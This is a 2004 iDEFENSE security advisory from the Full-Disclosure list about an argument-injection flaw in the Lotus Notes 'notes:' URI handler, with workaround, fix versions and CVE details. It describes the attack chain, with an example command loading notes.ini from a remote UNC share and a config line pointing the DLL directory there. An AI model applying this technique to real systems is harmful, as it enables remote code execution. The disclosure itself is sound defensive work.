From idlabs-advisories@idefense.com Wed Jun 23 23:10:53 2004 From: idlabs-advisories@idefense.com To: idlabs-advisories@idefense.com Date: Wed, 23 Jun 2004 17:05:08 -0400 Reply-To: customerservice@idefense.com Subject: [Full-Disclosure] iDEFENSE Security Advisory 06.23.04: Lotus Notes URI Handler Argument Injection Vulnerability Lotus Notes URI Handler Argument Injection Vulnerability iDEFENSE Security Advisory 06.23.04 www.idefense.com/application/poi/display?id=111&type=vulnerabilities June 23, 2004 I. BACKGROUND Lotus Notes combines enterprise-class messaging, calendaring and scheduling capabilities with a robust platform for collaborative applications. More information is available at http://www.lotus.com/. II. DESCRIPTION Remote exploitation of a parameter filtering vulnerability in IBM Corp.'s Lotus Notes application allows remote attackers to execute arbitrary code. Upon installation of Lotus Notes the following registry entry is added: HKEY_CLASSES_ROOT\Notes\Shell\Open\Command containing the value C:\Program Files\lotus\notes\notes.exe %1 This causes "notes:" URI requests to be opened by the Lotus Notes binary, notes.exe, with the URL passed as an argument. The location of the Lotus Notes configuration file, notes.ini, can be specified on the command line by prefixing it with an equals sign (=). This parameter can specify a file path in the form of a UNC network share. The following example is a valid and specifies that the notes.exe executable load a configuration file from a remote location: notes.exe =\\10.0.0.1\notes\notes.ini The notes.ini file allows for the specification of the Notes data directory. The notes.exe binary utilizes this directory to load some dynamic link libraries (DLL). This parameter too can specify a file path in the form of a UNC network share. The following sample excerpt from a valid notes.ini configuration file specifies that the data directory resides at a remote location: [Notes] Directory=\\10.0.0.1\\notes Due to insufficient character filtering on the argument passed to notes.exe from the "notes:" URI request an attacker can force a user to start Lotus Notes with a custom notes.ini file that is under the attackers control and specifies a custom data directory that is also under the attackers control. The attacker can create a malicious DLL containing arbitrary code that will be loaded and executed when notes.exe is starting up. III. ANALYSIS Successful exploitation allows remote attackers to execute arbitrary code under the privileges of the user that invoked the "notes:" URI handler with an affected version of Lotus Notes. The malicious URI can be transmitted to a target via e-mail or web and can also be embedded within an HTML IMG tag. IV. DETECTION iDEFENSE has confirmed the existence of this vulnerability against Lotus Notes versions 6.0.3 and 6.5. It is suspected that other versions are vulnerable as well. V. WORKAROUND Remove the registry key responsible for creating the "notes:" URI handler: HKEY_CLASSES_ROOT\Notes\Shell\Open\Command VI. VENDOR RESPONSE This particular issue has been documented as SPR# KSPR5X6VEA, which is fixed in 6.0.4 and 6.5.2. The vendor advisory for this issue is available at: www-1.ibm.com/support/docview.wss?rs=475/context=SSKTWP&uid=swg21169510 VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2004-0480 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 04/21/2004 Exploit acquired by iDEFENSE 05/05/2004 iDEFENSE clients notified 05/05/2004 Initial vendor notification 05/07/2004 Initial vendor response 06/23/2004 Public disclosure IX. CREDIT Jouko Pynnönen (http://iki.fi/jouko) is credited with this discovery. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp X. LEGAL NOTICES Copyright © 2004 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email customerservice@idefense.com for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html